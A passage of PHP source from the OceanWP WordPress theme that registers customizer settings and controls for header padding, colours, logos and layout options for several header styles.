=> 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new OceanWP_Customizer_Dimensions_Control( $wp_customize, 'ocean_header_padding', array( 'label' => esc_html__( 'Padding (px)', 'oceanwp' ), 'section' => 'ocean_header_general', 'settings' => array( 'desktop_top' => 'ocean_header_top_padding', 'desktop_right' => 'ocean_header_right_padding', 'desktop_bottom' => 'ocean_header_bottom_padding', 'desktop_left' => 'ocean_header_left_padding', 'tablet_top' => 'ocean_header_tablet_top_padding', 'tablet_right' => 'ocean_header_tablet_right_padding', 'tablet_bottom' => 'ocean_header_tablet_bottom_padding', 'tablet_left' => 'ocean_header_tablet_left_padding', 'mobile_top' => 'ocean_header_mobile_top_padding', 'mobile_right' => 'ocean_header_mobile_right_padding', 'mobile_bottom' => 'ocean_header_mobile_bottom_padding', 'mobile_left' => 'ocean_header_mobile_left_padding', ), 'priority' => 10, 'active_callback' => 'oceanwp_cac_hasnt_medium_or_vertical_header_styles', 'input_attrs' => array( 'min' => 0, 'max' => 100, 'step' => 1, ), ) ) ); /** * Content After Header */ $wp_customize->add_setting( 'ocean_after_header_content', array( 'transport' => 'postMessage', 'sanitize_callback' => 'wp_kses_post', ) ); $wp_customize->add_control( new OceanWP_Customizer_Textarea_Control( $wp_customize, 'ocean_after_header_content', array( 'label' => esc_html__( 'Content After Header', 'oceanwp' ), 'description' => sprintf( esc_html__( 'Shortcodes allowed, %1$ssee the list%2$s.', 'oceanwp' ), '', '' ), 'section' => 'ocean_header_general', 'settings' => 'ocean_after_header_content', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_minimal_or_transparent_header_styles', ) ) ); /** * Heading Transparent Header */ $wp_customize->add_setting( 'ocean_transparent_header_heading', array( 'sanitize_callback' => 'wp_kses', ) ); $wp_customize->add_control( new OceanWP_Customizer_Heading_Control( $wp_customize, 'ocean_transparent_header_heading', array( 'label' => esc_html__( 'Transparent Header Settings', 'oceanwp' ), 'section' => 'ocean_header_general', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_transparent_header_style', ) ) ); /** * Transparent Header Background Color */ $wp_customize->add_setting( 'ocean_transparent_header_bg', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_transparent_header_bg', array( 'label' => esc_html__( 'Background Color', 'oceanwp' ), 'section' => 'ocean_header_general', 'settings' => 'ocean_transparent_header_bg', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_transparent_header_style', ) ) ); /** * Heading Top Menu Header */ $wp_customize->add_setting( 'ocean_top_header_heading', array( 'sanitize_callback' => 'wp_kses', ) ); $wp_customize->add_control( new OceanWP_Customizer_Heading_Control( $wp_customize, 'ocean_top_header_heading', array( 'label' => esc_html__( 'Top Menu Header Settings', 'oceanwp' ), 'section' => 'ocean_header_general', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_top_header_style', ) ) ); /** * Top Menu Header Menu Position */ $wp_customize->add_setting( 'ocean_top_header_menu_position', array( 'default' => 'before', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_top_header_menu_position', array( 'label' => esc_html__( 'Menu Position', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_header_general', 'settings' => 'ocean_top_header_menu_position', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_top_header_style', 'choices' => array( 'before' => esc_html__( 'Before The Logo', 'oceanwp' ), 'after' => esc_html__( 'After The Logo', 'oceanwp' ), ), ) ) ); /** * Top Menu Header Menu Background Color */ $wp_customize->add_setting( 'ocean_top_header_menu_background', array( 'transport' => 'postMessage', 'default' => '#ffffff', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_top_header_menu_background', array( 'label' => esc_html__( 'Menu Background Color', 'oceanwp' ), 'section' => 'ocean_header_general', 'settings' => 'ocean_top_header_menu_background', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_top_header_style', ) ) ); /** * Top Menu Header Search Button Border Color */ $wp_customize->add_setting( 'ocean_top_header_search_button_border_color', array( 'transport' => 'postMessage', 'default' => '#f1f1f1', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_top_header_search_button_border_color', array( 'label' => esc_html__( 'Search Button Border Color', 'oceanwp' ), 'section' => 'ocean_header_general', 'settings' => 'ocean_top_header_search_button_border_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_top_header_style', ) ) ); /** * Top Menu Header Search Button Color */ $wp_customize->add_setting( 'ocean_top_header_search_button_color', array( 'transport' => 'postMessage', 'default' => '#333333', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_top_header_search_button_color', array( 'label' => esc_html__( 'Search Button Color', 'oceanwp' ), 'section' => 'ocean_header_general', 'settings' => 'ocean_top_header_search_button_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_top_header_style', ) ) ); /** * Top Menu Header Search Button Hover Color */ $wp_customize->add_setting( 'ocean_top_header_search_button_hover_color', array( 'transport' => 'postMessage', 'default' => '#13aff0', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_top_header_search_button_hover_color', array( 'label' => esc_html__( 'Search Button Color: Hover', 'oceanwp' ), 'section' => 'ocean_header_general', 'settings' => 'ocean_top_header_search_button_hover_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_top_header_style', ) ) ); /** * Heading Full Screen Header */ $wp_customize->add_setting( 'ocean_full_screen_header_heading', array( 'sanitize_callback' => 'wp_kses', ) ); $wp_customize->add_control( new OceanWP_Customizer_Heading_Control( $wp_customize, 'ocean_full_screen_header_heading', array( 'label' => esc_html__( 'Full Screen Header Settings', 'oceanwp' ), 'section' => 'ocean_header_general', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_full_screen_header_style', ) ) ); /** * Full Screen header hamburger icon width */ $wp_customize->add_setting( 'ocean_full_screen_header_hamburger_icon_width', array( 'transport' => 'postMessage', 'default' => '23', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_control( new OceanWP_Customizer_Range_Control( $wp_customize, 'ocean_full_screen_header_hamburger_icon_width', array( 'label' => esc_html__( ' Hamburger Width (px)', 'oceanwp' ), 'section' => 'ocean_header_general', 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'max' => 100, 'step' => 1, ), 'active_callback' => 'oceanwp_cac_has_full_screen_header_style', ) ) ); /** * Full Screen header hamburger icon height */ $wp_customize->add_setting( 'ocean_full_screen_header_hamburger_icon_height', array( 'transport' => 'postMessage', 'default' => '2', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_control( new OceanWP_Customizer_Range_Control( $wp_customize, 'ocean_full_screen_header_hamburger_icon_height', array( 'label' => esc_html__( ' Hamburger Height (px)', 'oceanwp' ), 'section' => 'ocean_header_general', 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'max' => 10, 'step' => 1, ), 'active_callback' => 'oceanwp_cac_has_full_screen_header_style', ) ) ); /** * Full Screen header hamburger icon gap */ $wp_customize->add_setting( 'ocean_full_screen_header_hamburger_icon_gap', array( 'transport' => 'postMessage', 'default' => '8', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_control( new OceanWP_Customizer_Range_Control( $wp_customize, 'ocean_full_screen_header_hamburger_icon_gap', array( 'label' => esc_html__( ' Hamburger Gap (px)', 'oceanwp' ), 'section' => 'ocean_header_general', 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'max' => 25, 'step' => 1, ), 'active_callback' => 'oceanwp_cac_has_full_screen_header_style', ) ) ); /** * Full Screen Header Transparent */ $wp_customize->add_setting( 'ocean_full_screen_header_transparent', array( 'default' => false, 'sanitize_callback' => 'oceanwp_sanitize_checkbox', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_full_screen_header_transparent', array( 'label' => esc_html__( 'Add Transparent Header', 'oceanwp' ), 'type' => 'checkbox', 'section' => 'ocean_header_general', 'settings' => 'ocean_full_screen_header_transparent', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_full_screen_header_style', ) ) ); /** * Full Screen Header Logo */ $wp_customize->add_setting( 'ocean_full_screen_header_logo', array( 'default' => '', 'sanitize_callback' => 'oceanwp_sanitize_image', ) ); $wp_customize->add_control( new WP_Customize_Image_Control( $wp_customize, 'ocean_full_screen_header_logo', array( 'label' => esc_html__( 'Logo (optional)', 'oceanwp' ), 'description' => esc_html__( 'Select a custom logo when the menu is opened.', 'oceanwp' ), 'section' => 'ocean_header_general', 'settings' => 'ocean_full_screen_header_logo', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_full_screen_header_style', ) ) ); /** * Full Screen Header Retina Logo */ $wp_customize->add_setting( 'ocean_full_screen_header_retina_logo', array( 'default' => '', 'sanitize_callback' => 'oceanwp_sanitize_image', ) ); $wp_customize->add_control( new WP_Customize_Image_Control( $wp_customize, 'ocean_full_screen_header_retina_logo', array( 'label' => esc_html__( 'Retina Logo (optional)', 'oceanwp' ), 'description' => esc_html__( 'Select a custom retina logo (twice the logo size) when the menu is opened.', 'oceanwp' ), 'section' => 'ocean_header_general', 'settings' => 'ocean_full_screen_header_retina_logo', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_full_screen_header_style', ) ) ); /** * Full Screen Styling Heading */ $wp_customize->add_setting( 'ocean_full_screen_styling_heading', array( 'sanitize_callback' => 'wp_kses', ) ); $wp_customize->add_control( new OceanWP_Customizer_Heading_Control( $wp_customize, 'ocean_full_screen_styling_heading', array( 'label' => esc_html__( 'Styling', 'oceanwp' ), 'section' => 'ocean_header_general', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_full_screen_header_style', ) ) ); /** * Full Screen Header Menu Bar Color */ $wp_customize->add_setting( 'ocean_full_screen_header_menu_bar_color', array( 'transport' => 'postMessage', 'default' => '#333333', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_full_screen_header_menu_bar_color', array( 'label' => esc_html__( 'Menu Bar Color', 'oceanwp' ), 'section' => 'ocean_header_general', 'settings' => 'ocean_full_screen_header_menu_bar_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_full_screen_header_style', ) ) ); /** * Full Screen Header Menu Bar Close Color */ $wp_customize->add_setting( 'ocean_full_screen_header_menu_bar_close_color', array( 'transport' => 'postMessage', 'default' => '#ffffff', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_full_screen_header_menu_bar_close_color', array( 'label' => esc_html__( 'Menu Bar Close Color', 'oceanwp' ), 'section' => 'ocean_header_general', 'settings' => 'ocean_full_screen_header_menu_bar_close_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_full_screen_header_style', ) ) ); /** * Full Screen Header Background Color */ $wp_customize->add_setting( 'ocean_full_screen_header_bg', array( 'transport' => 'postMessage', 'default' => 'rgba(0,0,0,0.9)', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_full_screen_header_bg', array( 'label' => esc_html__( 'Background Color', 'oceanwp' ), 'section' => 'ocean_header_general', 'settings' => 'ocean_full_screen_header_bg', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_full_screen_header_style', ) ) ); /** * Full Screen Header Links Background Color */ $wp_customize->add_setting( 'ocean_full_screen_header_links_bg_color', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_full_screen_header_links_bg_color', array( 'label' => esc_html__( 'Links Background Color', 'oceanwp' ), 'section' => 'ocean_header_general', 'settings' => 'ocean_full_screen_header_links_bg_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_full_screen_header_style', ) ) ); /** * Full Screen Header Links Hover Background Color */ $wp_customize->add_setting( 'ocean_full_screen_header_links_hover_bg_color', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_full_screen_header_links_hover_bg_color', array( 'label' => esc_html__( 'Links Hover Background Color', 'oceanwp' ), 'section' => 'ocean_header_general', 'settings' => 'ocean_full_screen_header_links_hover_bg_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_full_screen_header_style', ) ) ); /** * Full Screen Header Links Color */ $wp_customize->add_setting( 'ocean_full_screen_header_links_color', array( 'transport' => 'postMessage', 'default' => '#ffffff', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_full_screen_header_links_color', array( 'label' => esc_html__( 'Links Color', 'oceanwp' ), 'section' => 'ocean_header_general', 'settings' => 'ocean_full_screen_header_links_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_full_screen_header_style', ) ) ); /** * Full Screen Header Links Hover Color */ $wp_customize->add_setting( 'ocean_full_screen_header_links_hover_color', array( 'transport' => 'postMessage', 'default' => '#929292', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_full_screen_header_links_hover_color', array( 'label' => esc_html__( 'Links Hover Color', 'oceanwp' ), 'section' => 'ocean_header_general', 'settings' => 'ocean_full_screen_header_links_hover_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_full_screen_header_style', ) ) ); /** * Full Screen Search Styling Heading */ $wp_customize->add_setting( 'ocean_full_screen_search_styling_heading', array( 'sanitize_callback' => 'wp_kses', ) ); $wp_customize->add_control( new OceanWP_Customizer_Heading_Control( $wp_customize, 'ocean_full_screen_search_styling_heading', array( 'label' => esc_html__( 'Search Styling', 'oceanwp' ), 'section' => 'ocean_header_general', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_full_screen_header_style', ) ) ); /** * Full Screen Header Input Color */ $wp_customize->add_setting( 'ocean_full_screen_header_search_color', array( 'transport' => 'postMessage', 'default' => '#ffffff', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_full_screen_header_search_color', array( 'label' => esc_html__( 'Input Color', 'oceanwp' ), 'section' => 'ocean_header_general', 'settings' => 'ocean_full_screen_header_search_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_full_screen_header_style', ) ) ); /** * Full Screen Header Input Dashed Text Color */ $wp_customize->add_setting( 'ocean_full_screen_header_search_dashed_bg', array( 'transport' => 'postMessage', 'default' => '#ffffff', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_full_screen_header_search_dashed_bg', array( 'label' => esc_html__( 'Input Dashed Text Color', 'oceanwp' ), 'section' => 'ocean_header_general', 'settings' => 'ocean_full_screen_header_search_dashed_bg', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_full_screen_header_style', ) ) ); /** * Full Screen Header Input Border Bottom Color */ $wp_customize->add_setting( 'ocean_full_screen_header_search_border_color', array( 'transport' => 'postMessage', 'default' => '#666666', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_full_screen_header_search_border_color', array( 'label' => esc_html__( 'Input Border Bottom Color', 'oceanwp' ), 'section' => 'ocean_header_general', 'settings' => 'ocean_full_screen_header_search_border_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_full_screen_header_style', ) ) ); /** * Full Screen Header Input Hover Border Bottom Color */ $wp_customize->add_setting( 'ocean_full_screen_header_search_hover_border_color', array( 'transport' => 'postMessage', 'default' => '#ffffff', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_full_screen_header_search_hover_border_color', array( 'label' => esc_html__( 'Input Hover Border Bottom Color', 'oceanwp' ), 'section' => 'ocean_header_general', 'settings' => 'ocean_full_screen_header_search_hover_border_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_full_screen_header_style', ) ) ); /** * Full Screen Header Input Focus Border Bottom Color */ $wp_customize->add_setting( 'ocean_full_screen_header_search_focus_border_color', array( 'transport' => 'postMessage', 'default' => '#ffffff', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_full_screen_header_search_focus_border_color', array( 'label' => esc_html__( 'Input Focus Border Bottom Color', 'oceanwp' ), 'section' => 'ocean_header_general', 'settings' => 'ocean_full_screen_header_search_focus_border_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_full_screen_header_style', ) ) ); /** * Heading Center Header */ $wp_customize->add_setting( 'ocean_center_header_heading', array( 'sanitize_callback' => 'wp_kses', ) ); $wp_customize->add_control( new OceanWP_Customizer_Heading_Control( $wp_customize, 'ocean_center_header_heading', array( 'label' => esc_html__( 'Center Header Settings', 'oceanwp' ), 'section' => 'ocean_header_general', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_center_header_style', ) ) ); /** * Search Source */ $wp_customize->add_setting( 'ocean_center_header_left_menu', array( 'default' => '0', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_center_header_left_menu', array( 'label' => esc_html__( 'Left Menu', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_header_general', 'settings' => 'ocean_center_header_left_menu', 'priority' => 10, 'choices' => $this->get_wp_menus(), 'active_callback' => 'oceanwp_cac_has_center_header_style', ) ) ); /** * Center Header Menus Position */ $wp_customize->add_setting( 'ocean_center_header_menu_position', array( 'transport' => 'postMessage', 'default' => 'centered', 'sanitize_callback' => 'sanitize_text_field', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_center_header_menu_position', array( 'label' => esc_html__( 'Menus Position', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_header_general', 'settings' => 'ocean_center_header_menu_position', 'priority' => 10, 'choices' => array( 'wider' => esc_html__( 'Wider Spacing', 'oceanwp' ), 'centered' => esc_html__( 'Centered Menus', 'oceanwp' ), 'closer' => esc_html__( 'Closer Spacing', 'oceanwp' ), ), 'active_callback' => 'oceanwp_cac_has_center_header_style', ) ) ); /** * Center Header Transparent */ $wp_customize->add_setting( 'ocean_center_header_transparent', array( 'default' => false, 'sanitize_callback' => 'oceanwp_sanitize_checkbox', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_center_header_transparent', array( 'label' => esc_html__( 'Add Transparent Header', 'oceanwp' ), 'type' => 'checkbox', 'section' => 'ocean_header_general', 'settings' => 'ocean_center_header_transparent', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_center_header_style', ) ) ); /** * Heading Medium Header */ $wp_customize->add_setting( 'ocean_medium_header_heading', array( 'sanitize_callback' => 'wp_kses', ) ); $wp_customize->add_control( new OceanWP_Customizer_Heading_Control( $wp_customize, 'ocean_medium_header_heading', array( 'label' => esc_html__( 'Medium Header Settings', 'oceanwp' ), 'section' => 'ocean_header_general', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_medium_header_style', ) ) ); /** * Medium Header Transparent */ $wp_customize->add_setting( 'ocean_medium_header_transparent', array( 'default' => false, 'sanitize_callback' => 'oceanwp_sanitize_checkbox', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_medium_header_transparent', array( 'label' => esc_html__( 'Add Transparent Header', 'oceanwp' ), 'type' => 'checkbox', 'section' => 'ocean_header_general', 'settings' => 'ocean_medium_header_transparent', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_medium_header_style', ) ) ); if ( class_exists( 'Ocean_Sticky_Header' ) || class_exists( 'Ocean_Ecommerce_Sticky_Header' ) ) { /** * Medium Header Hide Menu When Scrolling */ $wp_customize->add_setting( 'ocean_medium_header_hidden_menu', array( 'transport' => 'postMessage', 'default' => true, 'sanitize_callback' => 'oceanwp_sanitize_checkbox', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_medium_header_hidden_menu', array( 'label' => esc_html__( 'Hide Menu When Scrolling', 'oceanwp' ), 'type' => 'checkbox', 'section' => 'ocean_header_general', 'settings' => 'ocean_medium_header_hidden_menu', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_medium_header_style', ) ) ); /** * Medium Header Stick Menu */ $wp_customize->add_setting( 'ocean_medium_header_stick_menu', array( 'default' => false, 'sanitize_callback' => 'oceanwp_sanitize_checkbox', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_medium_header_stick_menu', array( 'label' => esc_html__( 'Stick Only The Menu', 'oceanwp' ), 'type' => 'checkbox', 'section' => 'ocean_header_general', 'settings' => 'ocean_medium_header_stick_menu', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_medium_header_style', ) ) ); } /** * Medium Header Top Header Heading */ $wp_customize->add_setting( 'ocean_medium_header_top_header_heading', array( 'sanitize_callback' => 'wp_kses', ) ); $wp_customize->add_control( new OceanWP_Customizer_Heading_Control( $wp_customize, 'ocean_medium_header_top_header_heading', array( 'label' => esc_html__( 'Top Header', 'oceanwp' ), 'section' => 'ocean_header_general', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_medium_header_style', ) ) ); /** * Medium Header Top Header Background Color */ $wp_customize->add_setting( 'ocean_medium_header_top_header_bg', array( 'transport' => 'postMessage', 'default' => '#ffffff', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_medium_header_top_header_bg', array( 'label' => esc_html__( 'Background Color', 'oceanwp' ), 'section' => 'ocean_header_general', 'settings' => 'ocean_medium_header_top_header_bg', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_medium_header_style', ) ) ); /** * Medium Header Top Header Elements */ $wp_customize->add_setting( 'ocean_medium_header_top_header_elements', array( 'default' => array( 'searchfrom', 'logo', 'social' ), 'sanitize_callback' => 'oceanwp_sanitize_multi_choices', ) ); $wp_customize->add_control( new OceanWP_Customizer_Sortable_Control( $wp_customize, 'ocean_medium_header_top_header_elements', array( 'label' => esc_html__( 'Elements Positioning', 'oceanwp' ), 'section' => 'ocean_header_general', 'settings' => 'ocean_medium_header_top_header_elements', 'priority' => 10, 'choices' => array( 'searchfrom' => esc_html__( 'Search Form', 'oceanwp' ), 'logo' => esc_html__( 'Logo', 'oceanwp' ), 'social' => esc_html__( 'Social Buttons', 'oceanwp' ), ), 'active_callback' => 'oceanwp_cac_has_medium_header_style', ) ) ); /** * Medium Header Top Header Padding Top/Bottom */ $wp_customize->add_setting( 'ocean_medium_header_top_header_top_padding', array( 'transport' => 'postMessage', 'default' => '30', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_medium_header_top_header_bottom_padding', array( 'transport' => 'postMessage', 'default' => '30', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_medium_header_top_header_tablet_top_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_medium_header_top_header_tablet_bottom_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_medium_header_top_header_mobile_top_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_medium_header_top_header_mobile_bottom_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new OceanWP_Customizer_Dimensions_Control( $wp_customize, 'ocean_medium_header_top_header_padding', array( 'label' => esc_html__( 'Padding (px)', 'oceanwp' ), 'section' => 'ocean_header_general', 'settings' => array( 'desktop_top' => 'ocean_medium_header_top_header_top_padding', 'desktop_bottom' => 'ocean_medium_header_top_header_bottom_padding', 'tablet_top' => 'ocean_medium_header_top_header_tablet_top_padding', 'tablet_bottom' => 'ocean_medium_header_top_header_tablet_bottom_padding', 'mobile_top' => 'ocean_medium_header_top_header_mobile_top_padding', 'mobile_bottom' => 'ocean_medium_header_top_header_mobile_bottom_padding', ), 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_medium_header_style', 'input_attrs' => array( 'min' => 0, 'max' => 100, 'step' => 1, ), ) ) ); /** * Medium Header Sticky Top Header Padding Top/Bottom */ $wp_customize->add_setting( 'ocean_medium_header_sticky_top_header_top_padding', array( 'transport' => 'postMessage', 'default' => '20', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_medium_header_sticky_top_header_bottom_padding', array( 'transport' => 'postMessage', 'default' => '20', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_medium_header_sticky_top_header_tablet_top_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_medium_header_sticky_top_header_tablet_bottom_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_medium_header_sticky_top_header_mobile_top_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_medium_header_sticky_top_header_mobile_bottom_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new OceanWP_Customizer_Dimensions_Control( $wp_customize, 'ocean_medium_header_sticky_top_header_padding', array( 'label' => esc_html__( 'Sticky Padding (px)', 'oceanwp' ), 'description' => esc_html__( 'If you use the sticky header extension', 'oceanwp' ), 'section' => 'ocean_header_general', 'settings' => array( 'desktop_top' => 'ocean_medium_header_sticky_top_header_top_padding', 'desktop_bottom' => 'ocean_medium_header_sticky_top_header_bottom_padding', 'tablet_top' => 'ocean_medium_header_sticky_top_header_tablet_top_padding', 'tablet_bottom' => 'ocean_medium_header_sticky_top_header_tablet_bottom_padding', 'mobile_top' => 'ocean_medium_header_sticky_top_header_mobile_top_padding', 'mobile_bottom' => 'ocean_medium_header_sticky_top_header_mobile_bottom_padding', ), 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_medium_header_style', 'input_attrs' => array( 'min' => 0, 'max' => 100, 'step' => 1, ), ) ) ); /** * Medium Header Menu Heading */ $wp_customize->add_setting( 'ocean_medium_header_menu_heading', array( 'sanitize_callback' => 'wp_kses', ) ); $wp_customize->add_control( new OceanWP_Customizer_Heading_Control( $wp_customize, 'ocean_medium_header_menu_heading', array( 'label' => esc_html__( 'Menu', 'oceanwp' ), 'section' => 'ocean_header_general', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_medium_header_style', ) ) ); /** * Medium Header Menu Position */ $wp_customize->add_setting( 'ocean_medium_header_menu_position', array( 'transport' => 'postMessage', 'default' => 'center-menu', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new OceanWP_Customizer_Buttonset_Control( $wp_customize, 'ocean_medium_header_menu_position', array( 'label' => esc_html__( 'Position', 'oceanwp' ), 'section' => 'ocean_header_general', 'settings' => 'ocean_medium_header_menu_position', 'priority' => 10, 'choices' => array( 'left-menu' => esc_html__( 'Left', 'oceanwp' ), 'center-menu' => esc_html__( 'Center', 'oceanwp' ), 'right-menu' => esc_html__( 'Right', 'oceanwp' ), ), 'active_callback' => 'oceanwp_cac_has_medium_header_style', ) ) ); /** * Medium Header Menu Height */ $wp_customize->add_setting( 'ocean_medium_header_menu_height', array( 'transport' => 'postMessage', 'default' => '60', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_control( new OceanWP_Customizer_Range_Control( $wp_customize, 'ocean_medium_header_menu_height', array( 'label' => esc_html__( 'Height (px)', 'oceanwp' ), 'section' => 'ocean_header_general', 'settings' => 'ocean_medium_header_menu_height', 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'max' => 150, 'step' => 1, ), 'active_callback' => 'oceanwp_cac_has_medium_header_style', ) ) ); /** * Medium Header Menu Items Padding */ $wp_customize->add_setting( 'ocean_medium_header_menu_items_right_padding', array( 'transport' => 'postMessage', 'default' => '22', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_medium_header_menu_items_left_padding', array( 'transport' => 'postMessage', 'default' => '22', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_medium_header_menu_items_tablet_right_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_medium_header_menu_items_tablet_left_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_medium_header_menu_items_mobile_right_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); 